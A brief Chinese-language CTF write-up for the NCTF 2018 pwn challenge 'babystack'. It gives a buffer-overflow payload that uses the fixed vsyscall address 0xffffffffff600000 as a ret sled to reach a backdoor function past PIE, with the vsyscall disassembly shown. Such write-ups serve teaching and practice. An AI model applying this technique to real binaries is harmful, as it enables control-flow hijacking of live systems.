nctf2018 | pwn wp

babystack

  • 这道题目用到了一个 vsyscall 的点。。。
  • 保护 : nx , pie
  • 限制 : 输入长度 8 * n
  • 利用过程 :
    • payload = "a" * 0x18 + p64(0xffffffffff600000) * 2
  • 利用:
      1. 栈上有后门函数的地址
      1. """#define VSYSCALL_ADDR_vgettimeofday 0xffffffffff600000"""
      • 2.1 这个地址不参与随机化
      • 2.2 这个vsyscall 执行的指令
        """
        0xffffffffff600000: mov rax,0x60
        0xffffffffff600007: syscall
        0xffffffffff600009: ret"""
      • 2.3 这个指令会不断 ret 栈上的地址,结合后门地址在栈上, 从而 返回到后门函数

你可能感兴趣的:(nctf2018 | pwn wp)